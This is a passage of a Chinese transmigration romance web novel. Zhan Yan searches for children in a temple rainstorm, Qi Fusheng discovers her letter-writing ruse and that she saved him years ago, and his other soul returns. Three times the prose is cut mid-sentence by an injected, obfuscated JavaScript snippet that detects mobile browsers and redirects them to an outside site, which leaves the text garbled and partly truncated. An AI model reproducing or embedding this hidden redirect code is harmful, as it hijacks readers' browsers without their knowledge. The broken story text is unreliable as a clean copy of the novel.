真是奇怪,这人今日难得一见的安静,他故意在这里磨蹭这么久,可她除了一开始的一句问安,其他什么都没有同他说,明明花朝那日还吵得不行。 “他看我干嘛呀!”展颜站着,觉察到祁浮生的目光,脚下像踩着针似的紧张地不断挪动,她不敢看祁浮生,只能小声询问一边的秋果,“他是不是看我了,他现在什么眼神啊?” “嗯……”秋果越过姑娘的头顶看了一眼祁二公子……这对吗? 秋果从祁二公子的眼神里没有看到以往令人寒颤的嫌弃之意,反而是……多了几分不解埋怨的神色? “什么眼神啊秋果,你觉着我的小命今日能保住吗?”展颜打粥动作不停,见秋果愣住,焦急问道。 “姑娘,我觉着你今日的小命能保住!” “真的?” “真的!” “那就好。”展颜长舒一口气。 就在这时,祁浮生面无表情地突然走近,往展颜站着的地方靠过去。 “叩叩”几声响,祁浮生用手在桌子上敲了几下。 展颜本在和秋果挤眉弄眼,闻声慌张回头,为了掩饰慌乱,右手打粥的动作频率加快,在锅里一下一下舀着。 “祁浮生,有什么事吗?”展颜开口道。 看着她在空荡荡的锅里空舀着,祁浮生微微停顿,面无表情开口道:“你这木勺要是再这样打下去,乘粥的锅都要给你捅散架了。” “啊?哦哦。”展颜回头看着已经空无一物的锅和自己在锅里还在不断舀动的手,登时面上一热,尴尬不已。 人怎么可以桶这么大的篓子。 下人们换上新锅,展颜在一边看着。施粥了好一会儿,排队的难民也少了很多,大多数已经坐在搭好的草棚底下吃着手里的食物。 草棚下,有几个矮小的人影探出头,叽里咕噜地交头接耳,随后,几个小孩子牵着小手,往这边犹犹豫豫地迈步过来,走在最前头的一个男孩与后面的孩子不同,他脚下扑腾着生怕自己不能第一个跑到展颜的身边。 “姐姐!大姐姐!” 展颜看见花朝那晚泼她水的小男孩满脸兴奋地奔过来,也觉得欣喜,笑着蹲下身。 “哎?你也在这啊。粥喝了没,馒头都领到了吗?”展颜将小男孩跑乱的头发理干净。 “吃了!”小男孩道,他方才在草棚下就觉得这戴着帷帽的姐姐眼熟,果不其然就是那个人美心善的姐姐。 小男孩骄傲地拉着展颜的手,向着一道跟来的其他孩子炫耀道:“你们看!这就是你们大哥我说的那个姐姐!她人很好的!” 展颜捏着小男孩的手,闻言不由噗嗤一声笑出来:“你这小鬼,还这么小就学会称兄道弟啦。” “嘿嘿嘿。”小男孩不好意思地挠挠头,“我是我们中间最大的,自然就是大哥了。” “你知道大哥要干什么吗?” “知道!大哥就是要学会保护弟弟妹妹!”小男孩认真道。 没想到这小孩还挺有担当的,展颜又问:“你叫什么?” “我叫石头!” 祁浮生抱臂默默站在一边,看着展颜蹲着,被一群孩子围在中间,一副有说有笑的样子,不时还传出一声清亮的笑声,心里竟然生出一丝妒意。 原来不是不爱说话了,是不喜欢同他说话啊。 鬼使神差,祁浮生也不知道为什么会这么做,他迈步上前,将石头被展颜握在手心里的那只小手拽了出来。 “大…哥哥。”石头笑着抬眼,看清来人后又害怕低下头向展颜求救,想抽回手却被祁浮生死死拽着。 “你离她太近了。” 没有半点废话,祁浮生只这一句话直接把展颜欲开口的劝阻之言生生噎在嗓子眼里。 他今日这是又犯病了? “你和一个小孩子计较什么?”展颜哭笑不得,“快放开他。” 终于听见她主动和自己说话,还是笑着的,祁浮生顿时心里好受不少,依言放开石头的手。 展颜叫秋果拿出自己一路带来的两个包裹,取出里面自己做的糕点,一份份分给围在她身边的孩子。 “喏,这是姐姐给你们做的,拿去尝尝。” 孩子们得知他们都有份,皆是开心到手舞足蹈,拿着糕点零嘴一边吃一边嘴甜地夸着展颜。 “姐姐你人真好……” 有的直接瞎说,根本没看见展颜的样子就道:“姐姐你是我见过最漂亮的姐姐!” 展颜不管,美滋滋地被哄成翘嘴。 “来,轻轻拿着。”展颜耐心分着,柔声道。 也是由于过于专心,她没有注意到身后之人因为她短短一句话,愣神了好一会儿。 轻轻……卿卿…… 祁浮生恍惚,甚至都忘了呼吸。缓过神来后,才发觉她说的是“轻轻”,但是太像了,像那些信里的口吻,很奇怪,好似那些信如果能带来写信人的声音,就应该是展颜的音色。 他真是疯了。 祁浮生在一边看着,面色又沉了下来,心里有股奇怪的滋味,像是有东西在叫嚣,尝试唤起他记忆里的某些东西。 *** 粥分完了,展颜扬言要去帮阿姐写药方子,以此为借口离开祁浮生。 但没想到,她前脚刚过来,后脚祁浮生就跟了上来。 展颜低着头,仔细把展清梦递给她的方子按着习惯叠成一个四四方方的小方块,末了还要用指甲在四周摁紧,这样不容易散开。 动作慢了,展清梦就自己写完之后随意一折。 方块状的和随意一折的药方子按着病人看病的顺序依次摆放在桌上,等着抓药。 祁浮生按照药方子,将抓好的药放在油纸上,交给下人们包扎起来。 回头时正巧看见展颜将药方的四个小角按紧,注视着她手下的动作,祁浮生像是想到了什么,手里攥着的本该丢掉的药方子被他按照原样小心翼翼叠回去,然后缓缓收进怀里。 “施主。”一个小和尚快步走过来,向众人微微颔首,道,“这天怕是要落雨,师傅命我来告诉施主们尽快收拾好东西,到前头的正殿里头避雨。” 展颜闻言抬头望向天幕,原先还算晴朗的蓝天现在已经变成了雾蒙蒙的白色,太阳已经瞧不见,估摸着马上就要下了。 众人点头,先收拾药材。 展颜将药方子按顺序收好,便跟着秋果到了正殿。 只是一瞬,外头的天色就暗了下来,凉风呼呼吹着,正殿里点着很多蜡烛,使得殿里亮堂堂的,烛火被透进窗户的风吹得有些摇晃。 只听“哗啦”一声巨响,暴雨倾盆而下,砸在地上。 展颜刚在秋果为她准备的木椅上坐下,正想歇息一下,就见一个小女孩泪眼汪汪地跑过来,显然是被这乌黑的天和狂躁的暴雨吓到了,哭着道:“姐姐,石头哥哥不见了,石头…哥哥不见了……” “石头怎么不见了?你慢慢说不着急。”展颜闻言也是一愣。 “石头去给我采池塘里的荷叶,可他到现在都没有回来。” 采荷叶? 只有香积寺后面的那片水塘里有荷叶,现在这个天气去采荷叶,水塘边也太危险了,地上的泥早就都已经被雨打散,稍不留神脚一滑跌到了塘里,能扑腾几下都算好的了,只怕是荷叶塘里的水草多,被缠住了脚踝,连游都游不了。 “石头的爹娘呢?”展颜焦急。 “石头没有爹娘,我们都没有爹娘。”小女孩哭道。 没有爹娘……展颜看着外头的雨,心急如焚,这样下去可不行,就算石头运气好没有遇到危险,这雨下得就足够让他寸步难行了。 等不了,展颜站起身从正殿角落拿起两把伞。 “姑娘你不能一个人出去!”秋果尝试阻止展颜。 “秋果你看好这个孩子。”展颜将小女孩交到秋果手里。 正殿里人们都在忙,没有人闲着,展颜将手里其中一把伞撑开,深吸一口气冲进了暴雨里。顿时,雨点打落在纸伞上发出的巨响模糊了她的听觉。 祁浮生刚把药材收拾好,就看见展颜冲进雨里的画面。 这傻子还出去干什么!没看见这么大的雨吗! 祁浮生紧锁眉头,俯身捡起一把油纸伞,眼神冷漠得可怕,他质问秋果:“她人去哪里了!” “姑娘去找人了,去了寺后面有荷叶的那一片池塘。”秋果见到祁浮生仿若见到了救星,忙道,“祁公子你快去看着姑娘吧,雨这么大,池塘边太危险了!” 祁浮生没再说话,将伞一撑毫不犹豫冲进了雨里。 *** 雨下得很大,将展颜膝盖以下的衣裳都溅湿了,走起路来也沉重了很多。 展颜手里紧攥着伞柄,好在风开始变小,她能稳住身子。 “石头!石头你在哪!”她呼喊着。 池塘的这边没有人回应,展颜便迈步往另一头走去。 雨点没有长眼睛,但好似最能看懂人心,不希望它往哪里飘就偏偏往哪里飘。凌乱的雨点在风的加持之下,开始不至于满足只打湿展颜的裙角,到处胡乱飞溅。 展颜略微单薄的外裳被雨点溅到,微微黏腻,半贴在她的肩膀上。 风儿再一吹,还有些冷,冷意逐渐加剧,竟让她不禁打了个寒颤。 冷风裹挟着凉飕飕的湿意灌进她的领子袖口。 快找,快找…… 远处大树下晃动着几片绿油油的荷叶。等等,树下怎么会有荷叶? 展颜定睛一看,心里一块大石头终于落了地。 眼前的景象让他不知是该笑还是该哭,几个小人儿各拿一片几乎还没有他们头大的荷叶,躲在树下挤成一堆。 展颜快步走过去。 “姐姐!”石头看见展颜的身影,惊喜但却满含愧疚的喊道。 “人都在这里了?” “嗯!都在这里了。” 小姑娘只说了是石头一个人,但没说有这么些人,伞带少了。 她数了数,一共五个孩子,但是她只有两把伞。 雨渐渐开始变小,天气开始逐渐转晴。 展颜将孩子们领到一旁院墙的屋檐底下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15713092|169825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,将手里那把伞打开,交到石头手里,又将自己的伞给了另一个男孩子。 不远处,祁浮生站定在另一处院墙的屋檐底下,纸伞的阴影落在他身上,将他的身形拉得更加消瘦。 他没有走过去,默默看着屋檐之下戴着帷帽的展颜,从怀里取出先前收好的那张折成四方形的药方子,在指尖摩挲了好一会儿。 过一会儿,祁浮生又从袖子里取出那封写满了“卿卿”二字的信,这封信,他一直随身携带着,不曾离身。 信纸从信封里被倒出来,四四方方的一块,整齐,端正。 “呵。” 祁浮生看着手心里静静躺着的两张信纸,自嘲般的轻笑一声。 连气味都怀疑过了,却连这最浅显的区别都没有注意到。 叠成方形的信纸,是展颜的手笔。 他之前就应该发现的,毕竟之前偷偷截过展清梦的信,她只会将信简单相叠。 “展颜啊展颜……为何要骗我呢?”祁浮生眼里闪烁着病态的疯狂,捅破她的秘密,他却比想象中轻松,就像这件事本该如此。 “卿卿……你叫的可真顺口啊……” 他盯着她,不愿放过她的任何动作。 此时的展颜还毫不知情,俯下身对石头交代道:“这两把伞你们先拿着,一会儿你们五个人挤一挤先回方才施粥那处空地之后的正殿里,把身上的是衣服都换了,感冒就不好了。” “姐姐那你怎么办?”石头拿着展颜给的伞抬头问道。 “我没事,看这雨势不一会儿就该停了,等雨停了我走回去就行。” “那我留下来陪姐姐!”石头道。 “不行。”展颜严厉道,“你们的衣裳都湿透了,耽搁久一点很容易生病,要是不想让我再担心,你就做好大哥的榜样,领着他们赶紧回去。” 第一次见大姐姐这么严肃的模样,石头缩缩脖子,不敢再多嘴,领着剩下的四个孩子打着伞急匆匆往回走。 看着走远的几个小不点,展颜终于将心里憋着的一口气长舒出来。弯下腰,撩开紧贴在小腿上湿哒哒的衣裳。肩膀上的外衣也是贴着肩难受得紧,她迟疑一下,随后向四周打量了一番,确定周围没有人之后,将外裳脱下,搭在手臂上。 好在没有人出事,展颜看着渐渐亮起来的天心情也变得好了起来,口里哼起了小曲。 慢慢等着吧,也不过就是些小雨了。 屋檐下,祁浮生的眼神晦暗,看着去掉外裳的少女喉头不自觉地颤动。 少女的背很薄,脖颈很细,仿佛只要用用力就会留下淤痕,变成碎片。 他当初是如何下得去手的。 犹豫再三,祁浮生将信纸放好,撑着伞缓缓向展颜走去。 本以为在这四下无人的地方,再加上下雨,根本不会有人经过。祁浮生的出现,显然让展颜感到一瞬的惊慌和无措。 展颜慌忙搭上还有些潮湿的外衣,白纱遮挡下的脸颊,却因此而泛出红晕。 “祁浮生你怎么来了,你现在不应该待在正殿里吗?” “那你呢?你为何又不在正殿里。”祁浮生避过展颜的问题反问道。 “我……我就是觉得闷出来走走。” “出来走走?”祁浮生笑道,“展二姑娘真是好雅兴,这么大的雨也要出来走走?” 他的语气咄咄逼人,毫不相让。 展颜见他话里带笑,但一双眸子却不带本分笑意,眼尾不知道是因为愤怒还是委屈,泛着红。 展颜没有说话。 “你还要骗我吗?”这句话,透着失望。 若不是这里没有其他人,展颜还以为自己听错了,她怎么会在他的语气听出祈求的意味。 “我……”展颜嗫嚅道,“其实是因为石头他们困在雨里了,我出来……找人……” 她是来救人的,她心虚什么啊? “怎么救?如何救?你这是打算一个人在暴雨里救人?是不怕脚滑跌到池塘里?还是生怕自己死不了?”祁浮生的语气里带上怒意,但那份怒意来自于担心。 “我这不是没事吗?”展颜道。 “你……算了。” “你可还有什么其他事情骗着我?”祁浮生缓了缓,再次开口问道。 展颜不明所以。 “什么事?没有啊?”总不能是被他发现自己偷偷代替展清梦给她写信的事情吧? 不会!肯定不会!除了香膏,她绝对没有露出一点破绽! 可下一秒,展颜就被事实狠狠打脸。 祁浮生拿出那两张信纸:“这是什么。” “是刚才折的药方子啊?怎么了?” “都是你折的?” “对呀,都是我折的。” 祁浮生将两张信纸都塞到展颜的手里:“自己看看。” 两张药方子有什么好看的?难不成还有什么不同…… 不同……吗…… 展颜的眉目逐渐从疑惑转为震惊,最后转为绝望。 她紧张地微抿着嘴,不敢抬头。 “都是你折的?”祁浮生又问了一遍。 “你听我解释!”展颜见事情已经败露,也不求能继续瞒住,祁浮生这副样子就是有备而来,不是来问她是否,而是质问她来的。 雨小了不少,细如牛毛,不打伞走也是完全没有问题的。 祁浮生神色认真地看着展颜,等着她的回答。 一时间,两人皆是沉默。 “你看那边!是我阿姐啊!”展颜忽然兴奋地指着祁浮生身后,大声叫道,“阿姐!” 快跑快跑啊! 俗话说的好啊,三十六计,走为上计!展颜不知道该如何同祁浮生解释才能让他考虑考虑留下她一命,只能先出此下策。 喊罢,展颜一个转身就要迈开步子飞奔,谁料才跑出一步,眼前的一切就被突然倾倒的纸伞挡住,无处可逃。随后身前的纸伞被身后之人往后轻轻一拉,展颜被逼得匆匆几步后退,后背撞进了一个带着体温的怀抱里。 38.掉马 祁浮生的怀里虽带着温度,但还是冰冷的很,本就淋过雨,展颜觉得更冷了。 不好!这家伙一定是气极了! 身前是紧压着的纸伞,被祁浮生和伞夹在中间,展颜无处可逃,由于惧怕身后之人情绪的突然黑化,她不免颤栗起来,连双腿都有些发软,不可避免的向下跌。 祁浮生自然不是好骗的,早知道她又定会扯谎逃脱,假意侧头向后看,实际上余光瞥见身前的人儿撒开了腿,直接不慌不忙地将手里撑着的伞向前一倒,断绝她的退路,再向后一捞,人便揽进了怀里。 展颜只觉祁浮生一只手捞着她,让她靠在他的身上,但腿软是真的腿软,她现在半个人的重量都压在他的身上。 展颜虽然是现代来的,作为一个作者笔杆子下写出的香艳剧情也不少,但她终归还是个母胎solo,哪里见过这个阵仗,现在的她进退两难,但脑子里只有一个念头在叫嚣:推开他! 展颜这么想也这么做了,但是效果好不好另说。 她弯起手臂向后来了一个肘击,可被身后之人毫不费力就接住了,不死心,她小幅度地侧过身,用手在祁浮生胸前一推,不成功便成仁,吃奶的劲都使出来了。 这一推倒是起了点作用,但力的作用是相互的,这一推祁浮生不要紧,但展颜反而向后退了一两步。 怕身后的纸伞误戳到展颜的后背,祁浮生下意识将伞扔到一边,但是纸伞一角的琉璃珠勾住了展颜帷帽上的白纱,轻轻一勾,将展颜发上的帷帽一起带落。 一瞬间,白纱轻拂过展颜的脸颊,最先透过白纱闯入祁浮生视线的,是那双带着惊慌的眼眸。 琥珀色,澄澈,美丽。 熟悉。 是那双眼,在他梦里出现了千千万万次的眼眸。人长大,容貌会变,但是瞳孔不会变,就是她,也只能是她。 琥珀色的瞳孔里藏着万千星河,藏着十一年前的那场雪。没有了其他外物的干扰,只有这对眼眸,祁浮生认出来了。果然,一阵狂喜席卷过祁浮生的心尖,之前的熟悉感不是错觉。 没有了纸伞的阻挡,展颜这一退毫无章法,险些向后跌去。 怎么回事?今天这腿脚就是不听使唤! 祁浮生伸手抓住展颜的手臂将人又拉了回来。 完蛋!这回是彻底的完蛋了! “祁浮生你放过我吧!我再也不敢了!你看在我费心费力写信哄你,陪你逛花朝给你买花灯的面子上饶我一命吧!” 展颜几乎是尖叫出来的,她不敢抬头,双手合十举在头顶。 此刻,拜神拜佛,抵不过拜一拜祁浮生。 可她等了半天,没有那熟悉的阴森森的问罪语调传进她的耳朵里,展颜试探着微微抬起头,半眯着眼睛去看祁浮生现下的态度。 不是愤怒,不是杀意。 是震惊和……失而复得的……喜悦? 展颜怀疑自己看错了,想要揉揉眼睛,但现在她的手还合着十举在头顶只能作罢,又将头埋了下来。 祖宗哎!要杀要剐给个痛快吧,这样子晾着她更煎熬啊! 没有等来祁浮生的冷嘲热讽,展颜只感觉到祁浮生的手轻轻抵着她的下巴,将她的脸抬起,动作小心好像是在对待一件极易破碎的瓷器。 嗯?这是要干嘛?在把她干死之前最后再欣赏一下她吗?要不要这么残忍。 可下一秒,展颜就被身前的这个人紧紧抱进了怀里。 啊?! “是你对不对?就是你。”祁浮生开口,声音有点颤抖。 展颜疑惑,下巴搭在祁浮生的左肩上。她不是已经承认了吗?还有,他为什么情绪这么激动。 见展颜没说话,祁浮生继续道:“十一年前,是你在香积寺的破败院墙底下救了一个濒死的少年,那是我。” 这句话在展颜心里的炸裂程度,不亚于引爆一颗巨型炸弹。她再一次腿下发软。 不是这对吗?祁浮生问的是不是她,问的是竟然是展颜曾经在系统给的角色库里,看到的那段祁浮生的隐藏记忆,十一年前的那件事?!他是怎么知道是她的?这件事可是她誓死保密的啊!因为展颜认为要是瞒不住,她百分百丢命。 但是,现在事情暴露了,祁浮生知道了当初救他的人是她之后,好像并没有展颜之前预想中的那般羞恼,恼火到想要杀她为快。 反而,他好像很高兴?到底在高兴什么啊?展颜感觉自己越来越搞不懂这个祁浮生到底脑子里天天都在想什么了。 被祁浮生抱在怀里,展颜喘不上来气。 “你……你松开点,要憋死了。”展颜敲打祁浮生的后背。 身上的束缚松了些,但是祁浮生的手没有拿走,还环在展颜的身后。 “那个,我们能不能站着好好说话。”展颜开口。 “嗯,你说,我听着。”祁浮生乖顺道,没有收手。 展颜:…… 祁浮生不情不愿收回手。 展颜斟酌了一下措词:“那个……你都知道了?” 看着祁浮生充满怜惜的眼神,展颜总感觉慎得慌,见他没有否认,继续道:“那个其实你不用放在心上的哈,我当初就是吃不下那个糕点,顺手就送给你了,你该喜欢展清梦还是喜欢她哈,我没有任何的异议,你可以把十一年的事情就当作一场梦,我不在意不在意。” 展颜求生欲满满,祁浮生看起来心情不错,正好趁这个机会求求情。 她之前怕事情暴露,怕祁浮生杀她,无非就是因为祁浮生性格古怪要是他知道自己十几年喜欢错了人,应该喜欢的还跟他做了将近十年相看两厌的陌生对头,定然脸上挂不住。 果然,面前之人有了反应。 展颜准备好面对狂风暴雨,但是打向她的却是和风细雨。 “你……不在意?不放在心上?” 祁浮生的声音钻进展颜的耳朵,他原先欣喜的眉眼皱起,展颜感觉他快碎了。 这怎么感觉她在欺负人,还是事后不想负责的那种。 “为什么?”祁浮生又抓住展颜的手臂,指下用劲,“是我之前对你太过分了是吗。我改!” 展颜插不上嘴,怎么回事,这种中二的台词从他嘴里说出来怎么不油腻? “我不在乎你写信骗我,不在乎你瞒着十一年前的事,你能不能,能不能原谅我……” 俗套的后悔剧情,展颜的作者DNA响了。接下来要不就是破镜重圆,两人解开误会幸福在一起,要不就是女生不原谅男生,继续让误会纠缠下去。 但在展颜这里,这两种情况都不会出现,她要和他讲道理。 “祁浮生你冷静一下,你先听我说虽然这个事实会有些残忍。”展颜等其浮生平稳情绪,“你喜欢的那个展颜,给你糕点救你一命的那个展颜不是我,你明白吗?” “我……”祁浮生犹豫了。 对吧对吧,你好好想想,想清楚就好了,展颜期待地看着祁浮生。以为他能想清楚,就果等来的却是。 “那又如何?”祁浮生无所谓。 展颜:啊?! “我喜欢的是十一年前救了我的展颜,但也是花朝节关心我孤不孤单的展颜。 “是告诉我汤圆很甜的你。 “是会为我许愿的你。 “也是会给我买花灯的你。” 祁浮生认真道。 这……展颜听着他这么一长段的深情告白,第一反应是觉得离谱又无措,她应该没有拿错剧本吧,但是现在怎么看都像是恶毒女二攻略病娇男二的剧本,而且还是已经成功版本的。 不不不!她要的效果不是这样的。 展颜:“你要不再想想呢,说不定冷静之后就会后悔的。” 她提议 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15736956|169825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但祁浮生显然不在意。 祁浮生以为展颜如今这般推拒,还是在害怕他之前表现出来的杀意,只能是退后一步,妥协道:“我会让你看到我的心意。” 完了,道理这事儿说不通了,展颜无奈挠挠脑袋。 好在小命奇迹般地保住了,为了转移话题,展颜:“你看这雨已经差不多停了,我们赶紧回去吧,别让其他人担心了。” “嗯。”祁浮生应到。 展颜捡起帷帽重新戴上,率先往正殿走,才没走几步,头上就笼罩下一片阴影。 “这么点雨,不用打伞了吧。” 祁浮生将伞向着展颜那边倾斜:“不行,会染上风寒的。” 展颜走着,祁浮生没有再说话,只是亦步亦趋地走在她身边,保持着恰当的距离。 展颜觉的是性格的原因,即使是在心情不错的状态下,祁浮生的音调也是淡淡的,与祁季的完全不同。 说到祁季…… *** 展颜回府之后,迫不及待地冲了个澡,然后扑进了柔软的床铺里,今天出去忙了一天,可是把她给累坏了,再加上祁浮生那一出,真算得上是身心俱疲。抱着自己松软的枕头,展颜直呼舒坦,她叫出系统。 “叮——”熟悉的提示音。 “宿主!统统真的好想你啊!”系统出现,二话不说,直接上来就是一句撒娇。 展颜又被雷到,统统?这家伙什么时候有名字的? “呃……你最近更新的怎么样?还有,有查到男女主的好感度为什么没有上升吗?” “好感度统计一切正常,没有查到什么不同。”系统遗憾道,但随后又兴奋起来,“但是更新之后我有了很大的收获!” “哦?什么?”展颜来了兴趣,这是又有什么可以帮助她推进任务进度的好东西了? 系统:“我有名字啦!” 展颜:“……” 系统:“叫统统!” 展颜:“……” 系统:“……” “没了?”展颜疑问。 这家伙是把上头拨下来更新的财力都用来给自己取名字了? 统统?饭桶的桶吗?展颜心里吐槽着,但觉得不太礼貌,她没有说出来。 “没了!这个名字是宿主一号给我取的!”统统不知道展颜的真实想法,高兴道。 “宿主一号?”展颜回神,“祁季?他不是还在祁浮生的身体里吗?怎么给你取的名字?” “对啦!这就是统统今天还要和宿主说的第二个好消息,宿主一号的灵魂强度在增加,昨天我和宿主一号已经可以进行意识交流了!过不了多久,宿主一号就会拿回身体的主动权,宿主注意辨别!” 统统在展颜面前飞过来飞过去,兴奋极了,一个白色的小光点上下飞舞着。 终于有个让展颜高兴的消息了,她松了口气躺倒在床榻上,伸了个大大的懒腰,顺带打了个哈欠。 “哦对了!那个角色库再给我看看统统!”展颜突然想看看祁浮生对自己的好感程度,毕竟今天发生的一切都太让人难以置信了。 半透明的书册再一次漂浮在展颜面前,她翻阅起来,看了一眼祁泽川和展清梦的好感度数据。 50% 狩猎那日明明就是35%。 展颜指着书册上的50%,质问统统:“你不是说还是35%吗?那这个是什么?” 统统:“那统统就不知道了,系统显示还是35%。” 一定是更新的bug,展颜认定,算了说不定过段时间就纠正了。她继续向后翻,找到了祁浮生的那一页。 在角落里,原先写着展清梦名字的地方,如今赫然呈现着展颜的名字,紧随其后的括号里,是明晃晃的100%。 这么热烈的吗?展颜眼前一黑。 完喽,真赖上了。 39.回归 自从在香积寺祁浮生明确自己的心意之后,展颜每日总是能收到各种各样的礼物。 是的,这回是真给她的了。 知道她喜欢好吃的,新奇的东西,祁浮生每次送来的东西不是京城里最近火得不行的吃食,就是一些外邦人进京带来的小玩意儿。 除此之外,每次连带着一起送来的,还有一封信,不长不短,句句透着关心。 但在展颜看来这东西仿佛就在跟她说,你要是不答应,我会一直等到你答应,再不济,就上点手段。 反正这次是祁浮生自己想给她写信的,那回不回就全凭展颜自己的心情。 她一封也没回过。 我会不会有点飘了?展颜自我反思,但管他呢,能不写就不写,当字是自动写出来的吗,很费脑的好不好。 说不定不回信,不见人,不理睬,祁浮生的热情就会归于平静,至少展颜是这么想的。 清闲日子还没过几天,一个预料之中的麻烦又赶趟似的跟上来。傅朝尘生辰宴的单子上,展颜的名字紧跟在展五德的后面,意料之中。 意料之外的是,傅朝尘还加上了展清梦等一众女眷的名字,还不乏一些京城里的富贵子弟。 在一些人看来是三皇子念着兄弟情,生辰宴邀请兄弟实属正常,再不然就是到年纪了,也该为空着的皇子妃的位置考虑考虑。只有展颜知道,傅朝尘为了不把事情办的太过于显眼,为了和她套近乎干脆邀请了与她年龄相仿的所有人,这样一来,她爹也就没有办法再推辞了。 展颜躺在院子里新搬出来的榻上,想着明日的生辰宴。 重点防备对象:傅朝尘。 重点回避对象:祁浮生。 重点保护对象:祁泽川和展清梦。 牢牢记住三重点原则。 “哎——”展颜倚在榻子的软垫上直叹气,一闲下来就开始了每日的控诉环节。她现在是急得焦头烂额,结果祁季那个家伙呢,还不回来还不回来。 展颜揪着摆在果盘上用来装饰的树叶,一片一片地拔下来。 “回来…… “还没回来……” …… 最后一片叶子了,展颜揪下:“回来……” 一片寂静,什么都没有发生。 哎呀,她这是在干什么,又搞这些有的没的。展颜晃晃脑袋,拍拍自己的脸回过神。 哎?话说今天祁浮生要送的东西怎么还没有送来,难不成这家伙真放弃了? 思及此,展颜忽然听见院墙的墙头上传来隐隐约约的窸窣动静,还没来得及转身,就听见身后传来“哎呦”一声痛呼,紧接着就是有人摔在地上的声音。 为了防止有人翻自己的墙头,展颜特地在墙头上抹了自制的打滑剂,就类似于现实世界中的肥皂水之类的,但是这种打滑剂是由书里一种特殊的果子碾碎制成的,打滑的威力那是更上一层楼。就算是翻墙技术再好的人也不免要注意平衡,否则—— 就会像现在坐在展颜面前的这个人一样,摔个手足无措。 祁浮生是真没想到展颜还留了这么一手。 “你没事往墙上抹这种东西干什么?摔死我了。” 祁……祁浮生?怎么说曹操曹操到,今日没有送东西,今日是把他自己给送来了。 “傻站着干什么。”祁浮生站起来,拍拍衣服上沾上的灰,看着面前这个呆楞住的展颜,就知道她还没有认出他来。 今天的祁浮生怎么有点奇怪。一个念头在展颜的脑海里冒了出来。 难不成……在看到祁浮生脸上那熟悉的欠揍笑容时,展颜惊喜万分。 “没错,看这么久总认出来了吧,你伟大的编辑我回来了,还不快来问安?” 臭屁鬼,嘴还是那么欠。 还有,玄学有时候还挺好用的。 …… 祁浮生一点都不客气地坐在展颜的榻子上,安逸极了,展颜绕着榻子一圈圈地走着,眼睛紧紧盯着这个刚拿回身体主导权的编辑,不时敲敲他左边的手臂,踢踢他右边的腿。 嗯,是真的没错。展颜搬来张椅子坐在祁浮生的对面。 “看够了?”祁浮生道,“这只手还没捏呢,要不再确认一下?” 展颜瞪了他一眼,把他伸出来的手打了回去。 “你还有脸说,你又不是不知道你躲清闲的日子里,我在经历什么,上要推进任务进度,下要应对随时可能杀了我的‘你’,还要抽空应付傅朝尘那个大魔王。” “有这么夸张?”祁浮生看着面前这个皱着张小脸,绘声绘色吐苦水的展颜笑道。 “有!” “我怎么记得那家伙好像很喜欢你来着,还说什么会让你看到他的心意?” 嗯?谁?展颜闻言先是一脸懵,随后反应过来,祁浮生说的是他的原主版本。 展颜有点不自在:“呃……那还不是因为我有魅力。” 对头对头,一定是这样。 她讲完才又觉得不对劲,好家伙,祁浮生是故意在旧事重提。统统说过什么来着,祁浮生身体里的两个灵魂是共生的。 “所以之前发生的所有事,你都知道?”展颜对这种感觉很是好奇。 “对啊,就像是开了上帝视角看电影一样,除了祁浮生的内心戏,他做了什么,说了什么,见了什么人我都知道。”祁浮生略带骄傲的回答。 他这几天看到了祁浮生把自己书房屏风后面的那副画拆了,一把火毫不留情就烧了个一干二净。随后又是铺上了千金买来的名贵纸张,开始一笔一画地描摹起展颜的眉眼。 京城里外邦人的集市是去过好几次的,糕点铺子是逛过好几家的,专找甜的买。 好像还真是很关心这个涉世未深的家伙,祁浮生想着。 展颜看着突然沉默若有所思的祁浮生:“如何如何,有什么新奇的事情吗?” “……没有。”祁浮生没说。 “这么无聊啊。”展颜表示遗憾,她还以为可以知道一些祁浮生没有说出来的事情。 祁浮生转移话题:“明日傅朝尘的生辰宴你得到消息了?”前几日祁府也收到了三皇子生辰宴的邀请帖。 展颜:“知道啊。” 祁浮生:“想好要怎么改剧情了?” 听到祁浮生的问题,展颜才想起来这家伙好像还不知道花朝节傅朝尘找她的事情。于是她又花了点时间把事情的前因后果和祁浮生同步。 “所以傅朝尘现在盯上的人变成我了。”展颜轻飘飘地说,毫不在意,甚至觉得这是一件好事。 祁浮生却皱眉,语气里带着点不悦:“他看上你了?” “什么看不看上的!是盯上!”展颜纠正他。 “没区别。” 怎么没区别?看上是真情实感,盯上的话更符合傅朝尘毫无感情可言的人设。展颜默默吐槽祁浮生的不严谨。 “还是说,你在关心我?”正所谓关心则乱嘛,展颜见祁浮生这态度,故意揶揄道,以报他这几日躲清闲的“仇”。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15758690|169825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 